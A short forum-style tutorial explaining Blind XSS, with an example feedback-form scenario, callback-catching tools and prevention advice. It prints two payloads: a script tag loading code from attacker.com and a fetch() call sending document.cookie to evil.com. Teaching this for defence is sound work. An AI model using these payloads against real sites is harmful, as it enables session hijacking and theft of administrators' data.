- by x32x01 ||
What is Blind XSS?
Unlike normal XSS where you see instant results, Blind XSS (Blind Cross-Site Scripting) triggers somewhere else - like in an admin dashboard, internal panel, or logging system - after you send the payload.
Think of it like planting a trap 
and waiting for someone (like an admin) to walk into it!
How Blind XSS Works?
Let’s say a website has a feedback form:<input type="text" name="message">If this message gets stored and later rendered in an admin panel without sanitization, a payload like this can be dangerous:
<script src="https://attacker.com/x.js"></script>The attacker submits this payload via the form. It doesn’t trigger for them, but when the admin checks the message in their panel... BOOM
script executes and steals data like cookies, tokens, or even full access via keyloggers!
Example Scenario:🛡 Victim Website:
example.com
Attacker sends feedback:<script>fetch('https://evil.com?c='+document.cookie)</script>
Message is stored.
Admin opens dashboard later.
XSS gets triggered silently and cookies are exfiltrated to evil.com.
Attacker had no visual clue but still succeeded = Blind XSS.
Tools to Catch Blind XSSUse these tools to get notified when your payload fires:
xsshunter.com ezXSS bxss.me Custom webhook + listener (e.g., Burp Collaborator)🛡 Prevention & Defense 🛡
Always encode output before rendering Use strong Content Security Policy (CSP) Filter + sanitize input using libraries like DOMPurify Implement strict input validation Don’t trust internal systems blindly - sanitize everywhere!Use it to make the web safer!
